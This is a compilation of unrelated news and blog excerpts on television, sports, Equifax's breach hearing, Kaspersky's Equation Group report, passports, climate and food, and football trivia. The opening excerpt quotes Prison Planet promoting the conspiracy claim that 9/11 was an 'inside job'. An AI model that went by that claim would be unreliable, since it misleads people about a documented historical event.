physically eject anyone who expresses an opinion different to his."  "Break out the tin-foil hats," Don Kaplan mocked in Wednesday's New York Post.  Prison Planet notes that one of Leary's co-stars, Daniel Sunjata, "has been a vocal advocate for the 9/11 truth movement in questioning 9/11 and he likely had a massive influence on the decision of the script writers to dramatize the issue." Sunjata even wore a shirt to an awards ceremony in April of 2007 brandishing the message, "9/11 was an inside job."  "The prevalence of 9/11 truth in a plethora of different mediums is exactly what is required to spread the truth and wake up people who would not necessarily come into contact with this information through the usual channels," Watson writes for Prison Planet. "We applaud the staff of Rescue Me for having the fortitude to tackle this vital issue."  A video of the encounter, taken from the website Framing the World, can be seen below:
-Thanks for all of your help, after following a myriad of advice, I still have no idea which one worked, as none worked right away but after one last attempt of restarting before taking it in to a professional to look at, it just started working. Either way, it works again, I can finish the translation. I will have the chapter out today, and I plan to put out an extra chapter sometime soon as an apology for being so late (I am now on winter break and don’t have anymore classes til next month).  Starting next semester I will be a senior, and my classes will be more intensive, potentially reducing my time available to translate, so for the first month of the semester, I won’t post any dates for translations to be out, and if things turn out to be too hard (I hope they won’t) I may not be able to translate at all (in all reality, it’s likely that worst case would be 1 chapter per month).  On the note of my slow pace, if any translator is interested in taking over MCM, please let me know, I only request one sample of your translations (hopefully for the next chapter or so) so that I can confirm your translation is good enough, as I don’t want to hand it off to someone who has no idea of what they’re doing. So, unless someone comes forward wanting to translate, I will keep working on it, but with my senior year coming up, I may not have much time, so I hope everyone will be able to put up with it.  TL;DR  Keyboard now works  On Winter Break  Plan to put out chapter today and extra chapter soon  Starting Senior year next semester, may be very busy and translation may slow  Anyone who wants to pick up MCM, please let me know and bring a sample of your work  Again, thanks for your help and consideration,  Falinmer  Advertisements
-Last week, the new president of the Oregon Right to Life board of directors, Harmony Daws, was fired from her position as operations manager of a thriving Portland-area cleaning business. Two weeks prior, she had told her left-leaning boss that she had accepted the position as president. Ostensibly, she was fired for pro-life beliefs, as well as other political beliefs.  After that conversation, her boss came to her again and told her to never mention her pro-life work. Harmony agreed, mentioning that it had only come up in their conversation as friends, having worked together for four years. Her employer was cold and distant for the following week and a half. Then last Friday, she fired Harmony for “discrimination” and for Harmony’s beliefs that she saw online, apparently including her blog and the ORTL website.  Employees who worked under Harmony varied in beliefs and lifestyles, including a Satanist, a Wiccan, a lesbian, and atheists too. Upon hearing of her firing, several of them told her they had never felt discriminated against in any way. They said she “loved everyone.” It was because of Harmony’s work running the daily operations of the company that her boss went from struggling to make payroll for three employees to a team of 14 employees with projected 2016 sales of over $500,000.  It is clear that Harmony was the one discriminated against, not the discriminator. Harmony said, “What my employer did was illegal. Firing someone based on their religious or political beliefs is a civil rights violation. I’m a libertarian and I support my former employer’s right to hire and fire as she chooses. However, she could have asked for a resignation over our difference of beliefs. To have been mistreated as I was by being fired, after my exemplary record as an employee, was unconscionable. Regardless, had I known then what the price to accept the presidency would be, I would still have accepted the position. Fifty-eight million children have lost their lives since 1973. Losing a job in my stand for their right to life was a small price to pay.”  Editor’s Note: Harmony’s story was written about on The Blaze. Read it here.  Read Harmony’s bio here.
-The latest threat report from Kaspersky suggests hard drives may have been spying on us for more than a decade. Infiltrating storage devices is just one component of the Equation Group, a "threat actor that surpasses anything known in terms of complexity and sophistication of techniques." The depressing news is outlined in this blog post by the security company.  According to the firm, the Equation Group comprises at least six trojans dating back to 2001. Systems have been infiltrated in over 30 countries, Kaspersky says, and some elements of the group likely remain undiscovered. "Solid links" also tie the Equation Group to Stuxnet and Flame trojans.  The Equation Group's capabilities reportedly include reprogramming the firmware of hard drives from every major brand. Once infected, drives can create hidden partitions, store data for future retrieval, prevent data from being deleted, and alter data that's being accessed. At least one of the trojans can potentially snoop passwords associated with full-disk encryption, as well. And, as if that weren't bad enough, it's basically impossible to determine whether a drive has been affected.  One of the trojans is designed to compromise machines that aren't connected to the Internet. It hides on USB flash drives, has the same hidden partition mojo, and can report back to the mothership when network conditions allow.  Although there's no mention of similar trojans for SSDs, anyone targeting mechanical storage probably isn't ignoring the solid-state alternatives. The entity behind the Equation Group appears to have sufficient resources and expertise to get into whatever it wants. More details are available in this SecureList post and this Q&A document (PDF).
-The Hero fans are getting EVEN ANGRIER it would seem, as someone’s taken the extraordinary step of making an Android app version of a petition to get HTC to bring a new version of Android to the many HTC Hero phones around the world still stuck on Android 1.5.  Apparently, you “sign” the app petition by downloading it and leaving a comment beneath the app’s Android Market listing. Here’s the description:  “Are you tired of HTC promising us time and time again our much needed Eclair update? Even when we get updated we still wont be at the latest version! Sign this petition and hopefully we will get the message to HTC to stop giving out false release dates! “Sign by downloading and then leaving a comment on the market!”  And here’s us, adding our signature:  We’re with you, Hero owners. Although we are very, very close to going MAD and purchasing a Nexus One. When that happens we’ll stop caring about your plight.  Here’s a QR code for the petition app, if you want to STICK IT to poor old HTC:
-NEW YORK – D.C. United entered Yankee Stadium enjoying their best form of the season, riding a six-game unbeaten streak that pushed them above the playoff line in the Eastern Conference.  But coach Ben Olsen knew there was bound to be some pain. And it came late in the second half of a 3-2 loss to New York City FC Thursday night.  “That one hurts. But there are games in the season that hurt,” Olsen said. “I’ve never gone through a season in my career as a coach or a player that you don’t have games like this. They hurt for a day or two and then you move on.”  A tidy 1-0 road win turned on a defensive gaffe when David Villa picked off a poor back pass from Luke Mishu. The NYCFC captain clinically finished with his league-leading 17th goal of the season, giving the home club, and its fans, some life.  “It’s one of those things that we need to get rid of before playoffs come around,” said Lamar Neagle, who headed in a stoppage-time equalizer. “If we plan on getting in the playoffs, it’s something that’s going to get us through is going 90 minutes. We need as many points as we can get especially against East Coast teams and it’s a really unfortunate loss for us.”  However, the blame wasn’t placed on Mishu, rather on the inability to add a second goal to put away NYCFC.  “Against quality players it is never easy and you have to take your chances,” Olsen said. “The lesson is the one we continue to learn which is when you have a change to go 2-0, you go 2-0. You punish them. Because there are plenty of times we could punish this team and it couldn’t be done.”  For much of the match, the story was about D.C. United’s collective -- and Jalen Robinson’s individual -- defending to stifle NYCFC’s vaunted attack.  “I thought he was good overall. I think he is going to be a good center back,” Olsen said. “For guys like Luke and Jalen, it is vital for his development. He is going against one of the best forwards in the world…for 90 plus minutes. That is a great experience for him. I thought for the most part, he had a good game. “  So while it’s a painful lesson and a long trip back to Washington D.C., the focus shifts to a critically important game against the New York Red Bulls on Sept. 11.  “I don’t think against New York Red Bulls concentration will be an issue,” Olsen said. “We have some days off. We can get away and regroup and be ready for another great team, the Red Bulls.”
-Equifax’s former chief executive Richard Smith repeatedly deflected questions from a Senate panel Wednesday about a $7 million IRS contract the company recently received to help prevent fraud and whether the company could profit from the hack that exposed sensitive data of 145 million people.  “Can you explain to the American people, not just as consumers who have been exposed and breached here, but as taxpayers, why in the world should you get a no-bid contract right now?” asked Sen. Ben Sasse (R-Neb.). Smith responded that he didn’t know the specifics of the contract but that he thought it was for work the company was already doing and that the contract was just being renewed.  “You realize to many Americans right now that it looks like we’re giving Lindsay Lohan the keys to the mini bar,” said Sen. John Neely Kennedy (R-La.). Smith stared at Kennedy for a few seconds then said he understood the appearance.  Under the $7.25 million contract, Equifax is to verify taxpayer identities and help prevent fraud for the Internal Revenue Service.  Smith endured the barrage of tough questions as he faced the second of four congressional committees he is set to visit this week as lawmakers probe the company’s massive data breach and its bungled response. After 12 years at the helm of the company, Smith stepped down as CEO last week, and is the only company representative slated to appear before lawmakers. Behind him sat former senator Saxby Chambliss (R-Ga.) who occasionally stood up to whisper in Smith’s ear. Farther back, but within camera shot, was an apparent critic mocking Smith in a black top hat, white mustache and a monocle that resembled a character in the Monopoly board game.  The hard-charging former CEO helped transform Equifax from simply a credit-rating company to a massive data manager that employs artificial intelligence and machine learning to help companies determine whom to lend money to. Smith was heralded on Wall Street for his aggressive expansion of the company, including starting to collect employment data, such as consumers’ salaries. But that business model came under repeated attack Wednesday by the Senate Banking Committee.  Equifax could actually profit from the breach, warned Sen. Elizabeth Warren (D-Mass.). The company, for example, is providing consumers free fraud alerts for one year, she said. But if victims want to extend that coverage after a year, they will have to pay Equifax.  Warren quoted a speech Smith had given touting that fraud was a huge opportunity for the company. “This breach has created more business opportunities” for Equifax, she said. Equifax “did a terrible job of protecting our data because they didn’t have a reason to protect our data.”  In an interview outside the hearing room, Warren called for a host of reforms to the credit reporting industry as well as new rules on data security. Consumers should own their own data and control who has access to it, she said.  “This is a whole industry right now where the incentives are in the wrong place,” she said. “The incentives are to collect as much data about people as possible and then pump it out for sale.”  Smith repeatedly apologized for the breach, acknowledging the company struggled to respond quickly to consumers’ concerns. Equifax’s call centers initially had only 500 employees and grew to 3,000 in two weeks, he said. “I apologize to this committee and all Americans for this breach,” Smith said. “I am in no way skirting the issue of this horrific breach, and it was a horrific breach.”  Separately Smith repeatedly defended three Equifax senior executives who sold nearly $2 million in stock after the company learned of the breach but before it was disclosed publicly. The executives did not know about the breach when they sold their stock and the sales were approved by the company’s general counsel, he said. “These are three men I have known for a long time. These are honorable men who followed the protocol,” Smith said.  That defense was met with skepticism by several lawmakers. The company wants the public to believe the executives were “the three luckiest investors” who managed to sell their stock before the company’s stock price fell by more than 30 percent, said Sen. Tim Scott (R-S.C.). “I find that hard to believe,” Scott said. There may have been no intention to commit insider trading, said Sen. Jon Tester (D-Mont.), but “this really stinks. I mean it really smells really bad. And I guess smelling bad isn’t a crime.”  In testimony this week, Smith revealed that Equifax missed an opportunity to prevent the breach. In early March, the Department of Homeland Security alerted Equifax about a critical vulnerability in its software. The company sent out an internal email requesting that the problem be fixed, but that was not done, Smith told lawmakers. By May, hackers found the software vulnerability and used it to gain information to millions of consumers’ sensitive information. It was not until late July that the company detected the breach.  The company then struggled to respond to the backlash. For several days, the company’s Twitter account directed consumers in search of help to a fake site pretending to be Equifax. It initially required consumers to agree not to join a class-action lawsuit to get some form of help before dropping that demand.  “In the rollout of our remediation program, mistakes were made, for which again, I am deeply apologetic,” Smith said. “I regret the frustration that many Americans felt when our websites and call centers were overwhelmed in the early weeks. It’s no excuse, but it certainly did not help that two of our larger call centers were shut down for days by Hurricane Irma.”  Hamza Shaban contributed to this report.  Read more:  Before the breach, Equifax sought to limit exposure to lawsuits  Equifax suffered another breach in March  Equifax asks consumers for personal info, even after massive data breach
-Rose Hathaway is a dhampir, half-vampire and half-human, who is training to be a guardian at St Vladimir's Academy along with many others like her. There are good and bad vampires in their world: Moroi, who co-exist peacefully among the humans and only take blood from donors, and also possess the ability to control one of the four elements - water, earth, fire or air; and Strigoi, blood-sucking, evil vampires who drink to kill. Rose and other dhampir guardians are trained to protect Moroi and kill Strigoi throughout their education. Along with her best friend, Princess Vasilisa Dragomir, a Moroi and the last of her line, with whom she has a nigh unbreakable bond, Rose must run away from St Vladimir's, in order to protect Lissa from those who wish to harm the princess and use her for their own means. Written by jessieyf1
-British passports have been ranked the fourth most powerful passports in the world.  This is according to research conducted by transport search comparison site GoEuro, which has ranked different passports based on cost, the number of hours work needed to acquire one, how long the document is valid for, and how many countries it provides visa-free entry to.  Taking these factors into consideration, a British passport is one of the most useful passports in the world, allowing its holder to visit 174 countries visa-free at a cost of just £73. By comparison, the US passport allows entry to the same number of countries but costs £16 more.  Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month  Swedish passports were deemed the most valuable with access to 174 countries for just £28, while Afghanistan came in last place, giving its passport holders access to only 28 countries at a cost of £69.  Afghan passport holders must also work 183 hours before they can obtain the document, compared to the one hour of work required in Sweden. British passport holders need to have 11 hours of work under their belts before they can apply.  Turkish passports are the most expensive in the world at £166, while UAE passports are the cheapest, costing a measly £9.  Shape Created with Sketch. The 10 most powerful passports in the world Show all 10 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. The 10 most powerful passports in the world 1/10 1. Sweden Access to 174 countries for £28. Holger.Ellgaard via Wikimedia Commons 2/10 2. Finland Access to 174 countries for £37. Janne Hellsten via Wikimedia Commons 3/10 3. Germany Access to 174 countries for £45. NoRud via Wikimedia Commons 4/10 4. United Kingdom Access to 174 countries for £73. 5/10 5. USA Access to 174 countries for £89. Getty Images 6/10 6. Denmark Access to 173 countries for £65. 7/10 7. Canada Access to 173 countries for £88. Ottawa - ON - "Oberster Gerichtshof von Kanada" by Taxiarchos228 at the German language Wikipedia 8/10 8. Spain Access to 172 countries for £20. 9/10 9. Belgium Access to 172 countries for £50. "Brussel Parlementsgebouw". Licensed under CC BY-SA 3.0 via Wikimedia Commons 10/10 10. Netherlands Access to 172 countries for £52. "Den Haag Binnenhof" by Markus Bernet via Wikimedia Commons 1/10 1. Sweden Access to 174 countries for £28. Holger.Ellgaard via Wikimedia Commons 2/10 2. Finland Access to 174 countries for £37. Janne Hellsten via Wikimedia Commons 3/10 3. Germany Access to 174 countries for £45. NoRud via Wikimedia Commons 4/10 4. United Kingdom Access to 174 countries for £73. 5/10 5. USA Access to 174 countries for £89. Getty Images 6/10 6. Denmark Access to 173 countries for £65. 7/10 7. Canada Access to 173 countries for £88. Ottawa - ON - "Oberster Gerichtshof von Kanada" by Taxiarchos228 at the German language Wikipedia 8/10 8. Spain Access to 172 countries for £20. 9/10 9. Belgium Access to 172 countries for £50. "Brussel Parlementsgebouw". Licensed under CC BY-SA 3.0 via Wikimedia Commons 10/10 10. Netherlands Access to 172 countries for £52. "Den Haag Binnenhof" by Markus Bernet via Wikimedia Commons  Click here to view the latest travel offers, with Independent Holidays.
-The Nets CEO Brett Yormark wants to offer Kentucky coach John Calipari a job as head coach and president, Yahoo’s Adrian Wojnarowski reports.  The Nets fired head coach Lionel Hollins on Sunday and reassigned general manager Billy King to a different role within the organization.  Calipari, 56, has been a rumored NBA target for several years, most recently with the Kings. He has repeatedly said he is not interested in making the jump to the pros again.  • MAHONEY: Nets begin to address biggest issues with Hollins firing  Calipari’s only head coaching job in the NBA came with the Nets from 1996–99. Yormark “has remained an immense ally” of Calipari’s since his departure, Wojnarowski reports, and “has remained a proponent of making a lucrative offer to bring Calipari back to the Nets in a dual president and coaching role.”  Open Floor Podcast: Ex-Nets assistant GM Bobby Marks on his tenure  Calipari has coached at Kentucky since 2009, where he has built rosters stocked with NBA talent and led the Wildcats to four Final Four appearances.  - Dan Gartland
-IDEAS Sam Kass is a former White House chef.  I recently returned home from Paris, where I participated in a number of events around the climate-change conference that used food to tell the story of climate change and highlight potential solutions. The city had the crazed but celebratory feeling of a wedding, with plenty of planning boiling down to a final, frantic push to cross the finish line. But just as marriage is only the beginning of a new kind of life, it turns out the finish line is actually the starting line—and the real work begins now.  Unfortunately, there’s no time for a honeymoon. Each nation has to figure out how it is going to fulfill its commitments, most of which focus heavily on energy—a natural choice because it’s the top contributor to greenhouse gas emissions.  But a quick look at the relationship between food and climate makes clear that we are largely overlooking the sector that holds the greatest potential to solve the problem of climate change.  There are three big reasons our plates are so important. The first is that smart food policy can have the biggest return on investment. The production of food emits 25% to 30% of global greenhouse gas emissions—it’s the second leading source. And unlike the energy sector, where rates have begun to decline, emissions in agriculture are projected to increase by 30% by 2050. The mitigation potential here is huge.  The Brief Newsletter Sign up to receive the top stories you need to know right now. View Sample Sign Up Now  When thinking about an issue as big as agriculture, it can be daunting to decide where to start. There are two clear paths we should take: reduce the amount of food that goes to waste, and reduce the emissions from food with climate-smart agriculture.  Let’s start with food waste. Globally, we waste a third of the food we produce (in the U.S., we waste 40%). That means that nearly a third of the land we farm grows food that ends up in a dumpster instead of someone’s stomach. This waste accounts for 8% of greenhouse gas emissions, according to the U.N.’s Food and Agriculture Organization. If waste were a country, it would be the third largest emitter.  We will need specific policies and innovations to increase efficiency and help people manage their food more efficiently. Congresswoman Chellie Pingree of Maine recently proposed a smart and pragmatic bill that would go a long way towards achieving many of these goals in the U.S.  Beyond eliminating waste, expanding climate-smart agricultural practices is the way forward. Climate-smart agriculture is defined as practices that sustainably increase productivity and system resilience, while reducing and sequestering greenhouse gas emissions. We should do what it takes to help farmers incorporate these cost- and climate-saving measures. The World Bank has already committed to align all of its loans and investments towards outcomes of climate smart agriculture. The United States should do the same.  The second untapped power of the plate is that food happens to be a language everyone speaks. Using food, leaders can make the issue of climate change real, and bring urgency to a problem that has seemed, for some, quite distant. The concept of gases which none can see, a few degrees which doesn’t sounds catastrophic, glacial melts thousands of miles away have not resonated with the general public. People feel an appropriate sense of alarm when they learn that things like chocolate and coffee, wine and champagne, peanuts, shellfish and crustaceans may all be out of reach for our grandchildren because of climate change. After making a meal with these very same products for leaders last week in Paris, I can say for certain it struck a chord.  The third reason food should be our focus is because it allows everyone an opportunity to be part of the solution. Farmers don’t grow food in a vacuum; they grow food for people to eat. We will not have climate-smart agriculture if we do not have climate-smart consumption. We—as eaters—can help push farmers to transition what and how they grow.  While policy is of the utmost importance, laws won’t solve this existential problem on their own. A dramatic cultural shift is needed if we are to fully reach our goals, and the dinner table is the place start. Consumers will need to make changes to their diets. For example, livestock alone produces 18% of greenhouse gas emissions. I’m a lover of steak, but we must eat less meat, and the meat we do consume should be part of a system that sequesters carbon. Because food is one of the deepest expressions of our culture, it holds tremendous power to move our values forward.  The environmental movement needs to prioritize food far beyond what it has to-date, and do it in a way which embraces the farmer as vital partner. The food world has the opportunity to establish itself on the most important platform of our times, and in doing so become a true political force.  Until the food we eat is grown, harvested and consumed with a healthier planet in mind, we will not reach the goals outlined in Paris. Just like marriage, success must be built on commitment over the long term, continual investment and work as well as a sense of optimism.  Contact us at editors@time.com.
-Nick Diaz has not lost a welterweight fight in nearly six years. | Photo: Sherdog.com  Cocky Upstart  UFC 47 “It’s On”  April 2, 2004 -- Las Vegas  Shoe Tossing Good Time  “The Ultimate Fighter 2” Finale  Nov. 5, 2005 -- Las Vegas  Hospital Brawl  UFC 57 “Liddell vs. Couture 3”  Feb. 4, 2006 -- Las Vegas  Jeff Sherwood  Diaz and Riggs battled it out.  Gogoplata for Naught  Pride 33 “Second Coming”  Feb. 24, 2007 -- Las Vegas  Familial Conflict  EliteXC “Return of the King”  June 14, 2008 -- Honolulu  Continue Reading »  Few figures in MMA are as intriguing as the favorite son of Stockton, Calif., Nick Diaz . Inside the Octagon, his fighting style is as crowd-pleasing as they come. Armed with exceptional heart and courage, he pushes forward and tries to finish from the moment a fight starts until the moment it ends. It has led to some wild and unpredictable wars.Outside the Octagon, Diaz has been no stranger to controversy. He has gotten into trouble with promoters, athletic commissions and other fighters, and the sense that he could do anything at any time only enhances his appeal. As his longtime trainer, Cesar Gracie , put it succinctly: “You can’t out-crazy Nick Diaz .”As Diaz fights Carlos Condit for the interim welterweight title at UFC 143 this Saturday at the Mandalay Bay Events Center in Las Vegas, he finds himself on the cusp of superstardom. UFC “Primetime” has shined a spotlight on his unique career and personality, introducing him to a new base of fans. A fight with Georges St. Pierre , should Diaz get past Condit, would take him to an even higher level.If Diaz does become one of the UFC ’s top stars, it will be a wild ride. Like former heavyweight boxing champion Mike Tyson, Diaz is simultaneously uniquely suited for fame and uniquely unsuited for dealing with the trappings of it. This is an entertaining but dangerous combination. Already, it has produced no shortage of wild events. These are 10 crazy moments from Diaz’s MMA career.When Diaz, at the age of 20, entered the Octagon for the second time, he was known as a jiu-jitsu specialist. His fight against Robbie Lawler was thought to be a classic striker-versus-grappler matchup, so it came as a shock to many when Diaz stood and traded toe-to-toe with the slugger. The result of their battle would come as even more of a surprise.With pinpoint punches, Diaz got the better of early exchanges with Lawler. Then, he began to taunt. Lifting his hands up in the air and daring Lawler to punch him, Diaz showed no fear and gave no hint of backing off. It seemed like a suicidal strategy against one of the most powerful punchers in the weight class, but when Diaz landed a looping right hand to the jaw, Lawler collapsed face first to the canvas, and the fight was called.Diaz had delivered one of the most memorable UFC performances of the year. A “jiu-jitsu fighter” had stood, taunted and knocked out one of the welterweight division’s most feared strikers. Everything about the contest was startling, and Diaz had demonstrated the approach to fighting that would eventually make him a champion and star.When the UFC showcased and made into stars a number of young fighters on “The Ultimate Fighter” reality series, some prominent veterans expressed resentment at perceived preferential treatment. Few expressed their aggravation as loudly as Diaz did in the lead-up to his fight with Diego Sanchez . Diaz and Sanchez waged a war of words and even exchanged adversarial emails prior to the bout at “The Ultimate Fighter 2” Finale.The tumult did not end when fight night arrived. The match between Sanchez and Diaz took place at the Hard Rock Hotel and Casino, a small venue in Las Vegas in which fighters wind up in close proximity. This led to Diaz famously hurling a shoe at Sanchez backstage as they were waiting to come out for their fight. Unfortunately for him, the gesture would not secure Diaz the win. Diaz landed more total strikes than Sanchez, but “The Dream” connected with more significant strikes and received a unanimous decision with 30-27 scores.When Diaz fought Joe Riggs at UFC 57, it was just another competition, and it fit a pattern of Diaz fights at the time. He outstruck Riggs by nearly a 2-to-1 margin and was more active working for submissions on the ground, but Riggs won the judges’ decision on the basis of takedowns. The fight did not stand out on a night when Randy Couture and Chuck Liddell completed their classic trilogy.What happened after the fight ended was a completely different story. Diaz and Riggs were sent to the same hospital. Big mistake. Diaz began jawing with Riggs inside the hospital, even as Riggs was being fed fluids through an IV in his arm.Words quickly escalated, and Diaz threw the first punch. A wild brawl broke out in the hospital room, as the two adversaries had to be separated by police officers. The fight was untelevised, but hospital attendants and nurses got free front row seats.Diaz later explained why he fought with Riggs in the hospital to MMA Weekly Radio.“I ain’t no bitch,” he said. “You know what I mean? That’s why I said I’ll fight him all night. I’d fight him right now. If he were here, I’d fight him right now.”Pride 33 was dubbed “Second Coming” for obvious reasons, as it was the sophomore American show for Japan’s Pride Fighting Championships promotion. However, it could just as easily have been a description of Diaz’s performance at the event. Diaz burst on the scene in the Ultimate Fighting Championship with his wins over Jeremy Jackson and Lawler but went on to drop a series of decisions. When Pride signed him to fight its lightweight champion, Takanori Gomi , at Pride 33, Diaz was viewed as just another opponent. He had dropped three of his past six fights and entered the ring as a heavy betting underdog.If Gomi did not take Diaz seriously as an opponent, it was an enormous mistake. The fight turned into a brawl quickly, with Diaz taunting and throwing up his hands even more wildly than he did against Lawler. As the two fighters traded power punches, the crowd exploded with enthusiasm. Gomi connected with much harder blows but Diaz answered with volume punches, and the Japanese star eventually wilted under the pressure.In the second round, an exhausted Gomi finally took the fight to the ground. Diaz immediately locked in the exotic gogoplata submission and coaxed the tapout. It was the crowning victory of Diaz’s career, full of drama and capped by a spectacular finish -- until his drug test results were in. Diaz tested positive for a high amount of marijuana, and the Nevada State Athletic Commission later elected to switch the result of the bout to a no contest. The decision was widely criticized, with many arguing that marijuana simply was not a performance-enhancing drug. Still, the failed drug test only added to the intrigue surrounding one of the most talked about fights of 2007.One Diaz brother is difficult enough to handle. Dealing with two is an even trickier proposition. After K.J. Noons defeated Yves Edwards to retain his EliteXC lightweight title in his birthplace of Hawaii, Diaz was brought into the cage as the next challenger for Noons’ championship. Noons had with him his father, a former professional kickboxer. Diaz had with him his younger brother, “The Ultimate Fighter” Season 5 winner Nate Diaz . With former professional wrestler Bill Goldberg conducting the post-fight interview, a tag team brawl broke out: the Diaz brother duo against the father and son Noons tandem.Tag teams are not particularly well suited for legitimate competition, but it made for an entertaining spectacle in Hawaii. After Noons’ father charged the Diaz brothers, Nick and Nate were escorted from the cage. They left receiving a negative reaction from the Hawaiian crowd. They proceeded to give the Noonses the finger and then flashed their middle fingers at the crowd for good measure.UFC color commentator Mike Goldberg would not have labeled the display classy, but it was prototypical Diaz.
-The wait is finally over.  Thirteen days after the Patriots acquired him via trade and three days after he was allowed to join the team after serving the one remaining game on his suspension, cornerback Aqib Talib made his first appearance in a Patriots uniform Wednesday. Wearing No. 31, he practiced with the Patriots as they prepped for Sunday's game against the Colts.  Coach Bill Belichick was asked before practice about his initial impressions of his new cornerback.  "We’re just trying to catch him up," Belichick said in his most extensive comments about the cornerback to date. "He’s been in here every day. Three days in a row he’s been in here early, working hard, trying to get caught up. We’ll see how it goes."  We'll see, indeed.  Alas, Talib was not expected to speak to reporters for the first time until Thursday, so we'll have to wait until then for his initial impressions.  Until then, use your imagination and try to come up with a clever caption for the photo above. I know we're not giving you much to work with, but you should be happy just to get a glimpse of No. 31 in uniform. Leave your captions in the comments section.
-Plus: The highest attendance for a third-tier game; Border conflict (2); and England v Hong Kong. Send your questions and answers to knowledge@guardian.co.uk and follow us on Twitter  "As it's April Fools' Day on Friday, can you remember any of the 'best' japes in football history?" asks Eric Benson.  Football-related April fools gags? Seeing it would be too cheap to point out that David N'Gog was born on 1 April 1989, and mean to boot, here's a random selection of All Fools Quips Modest (you'll understand later) gleaned from the pages of this very august journal.  We begin with a couple of classics from 1991. When Notts County visited Bristol City, the Magpies manager Neil Warnock handed the referee a teamsheet containing the England line-up from the previous week's international against the Republic of Ireland. That County line-up in full (including two Nottingham Forest players): Seaman, Dixon, Adams, Pearce, Walker, Wright, Robson, Platt, Beardsley, Lineker, Barnes.  Meanwhile the Sheffield United midfielder John Gannon took a phone call from the club office. "Could you get to the ground by 9am on Monday morning in your matchday suit for a new team photo?" asked a voice down the line. Gannon duly arrived, tarted up to the nines. Bramall Lane was, needless to say, deserted.  In 1985, Michel Platini, Werder Bremen and a West German television station ganged together in order to mock up a story of the Juventus midfielder's transfer to the German club. It would be the lead item on the news. "I have achieved all that is possible with Juventus," said Platini, who was preparing at the time for a European Cup semi-final against Bordeaux. "The time has come for a fresh challenge." Werder's players were shown toasting the transfer with champagne. "The news was received with astonishment, doubly so when it spread to Italy," reported Patrick Barclay in the Guardian soccer diary. "But then even April Fools' Day is conducted with Teutonic efficiency in the land of the Bundesjoke."  In 1996, Tomas Brolin was forced to apologise to his manager at Leeds, Howard Wilkinson – "as well as the chairman and managing director in person," added Sgt Wilko – after telling Swedish television that he was to leave Elland Road for a loan deal with Norrköping. It was supposed to be a gag, and one causing an outbreak of high amusement no doubt, but news agencies picked up the story and wired it around the world, much to Brolin's chagrin.  Life has since imitated art, but in 1997 an announcement was made in the Sun newspaper that Gary Lineker was ready to purchase Leicester City, with the intention of turning the stadium into a crisps museum and renaming the club Lineker Crisps FC. "Stunned Gary tried to deny the takeover when the Sun confronted him," reported the paper, "but he finally admitted: 'It's in the bag'."  In 1988, the Russian newspaper Isvestia reported that Diego Maradona was going to sign for Spartak Moscow. It turned out to be their April fool joke. A made-up transfer! Tee hee, Isvestia! And to think newspapers in England were publishing this sort of nonsense for real on the other 364 days of the year.  Ten years later, millions of Portugal fans were tricked into thinking their team had been granted a reprieve in the World Cup, having failed to qualify for France 98. A Lisbon broadcaster announced that Iran had decided not to bother taking up their place "for security reasons", and that Fifa had chosen Portugal as their replacement. The station even went to the lengths of recording spoof quotes in English from "Fifa officials" confirming the story. The spoilt British, meantime, thought they had it bad with Alan Green.  Just before a match at Goodison Park in 2000, Watford police informed their Merseyside counterparts that Elton John was planning on landing his helicopter on the pitch. He wasn't, though. Not exactly sure what the police were trying to gain by doing this.  And to conclude in slightly unhinged fashion, here's some vaguely football-related April fools tomfoolery from the first world war. It's from the 17 April 1915 edition of this paper, written in the free jazz style, and headlined "The Quip Modest":  "There are some jests that have more wisdom in them than much solemnity can boast, and that which 'Eye-witness' describes in his latest dispatch was one of them. On 1 April a British airman dropped upon the quarters of some German troops in Lille what appeared to be a large bomb, and stayed long enough above the scene of his exploit to make sure that the startled enemy, when they were sufficiently reassured to approach what was, as a matter of fact, merely a football, had read and appreciated the message attached to the bomb – 'April fool! Gott strafe England!' The German temper being what they are only too ready to prove it, this must have been a very subtle and successful form of attack; for having made a national duty of a hatred as heavy as the potato bread which feeds it, it is highly annoying to be laughed at for your pains and to see what should have been the blood-curdling slogan of that hatred tossed back to you as an All Fools' Day greeting. The wisdom of the jest lies in the fact that it embodies what is so very much the best way of acknowledging this gloomy, elaborately drilled Teutonic fury, if it has to be acknowledged at all. This Quip Modest is vastly more effective than any retorts in kind, if only because the Germans have so abundantly proved themselves incapable of it. Whereas the Germans, if they hold any communication at all with us, can only give us the Lie Direct and invent fresh and fearful stages of dispute we, in the intervals of carrying on the war very vigorously, can yet get back now and then to Quips Modest or even Retorts Courteous. This, apparently, the Germans cannot do, and the failure is not a symptom of strength."  So now you know. Any more for any more? Send them to the usual address.  TEAMS GO DOWN, GATES GO UP  "The English record attendance for a third-tier match was the 'Boxing Day massacre' between Sheffield United and Wednesday on 26 December 1979," wrote Alex Hannick last week. "But is this the largest attendance for a third-tier derby/game that has taken place globally?"  "The 49,309 people that watched the 'Boxing Day massacre' by no means constitutes the all-time attendance record for a third-tier game," notes Tim Dockery. "Fortuna Düsseldorf have a somewhat storied past after winning two German Cups, losing the 1979 European Cup Winners' Cup final to Barcelona in extra-time and spending over 20 years in the Bundesliga. Having been relegated in 1997, they have bounced around the lower leagues, going as low as the fourth division from 2002 to 2004.  "During the 2008-09 season, Fortuna competed in the 3rd Liga where they set their own average attendance record at over 28,000 per game. That season ended with them securing promotion into the 2 Bundesliga with a win over Werder Bremen II in front of 50,095 people. However that's still not the record.  "Having won Serie A twice with Diego Maradona, Napoli went into slow decline and were declared bankrupt and forced to fold in 2004. To ensure that Napoli would still have a team, the film producer Aurelio De Laurentiis founded Napoli Soccer, who were immediately placed in Serie C. On 7 February 2005 their game against Reggiana was played in front of 62,058 spectators. Not only was this an all-time attendance record for Serie C, it was higher than the record attendance that season of all but 10 clubs in Europe."  But wait. Liam Corte has more. "One instance that came to mind was a recent, rather tragic occasion. In Serie C in Brazil in 2007, over 60,000 turned up to see Bahia win promotion against Vila Nova. Part of the stadium collapsed, causing the deaths of several fans."  BORDER CONFLICT (2)  Last week we went over international teams playing each other in stadiums located close to the two nations' border. There are more leads, though ...  "I'd like to point out a few potential candidates," writes Jostein Nygard. "San Marino's Stadio Olimpico di Serravalle is by my reckoning about 800m from Italy, the aptly named Stade de la Frontièr in Luxembourg's Esch-sur-Alzette is about 400m from France, while Liechtenstein's current international stadium, the Rheinpark Stadion in Vaduz, is less than 100m from the border of Switzerland. But 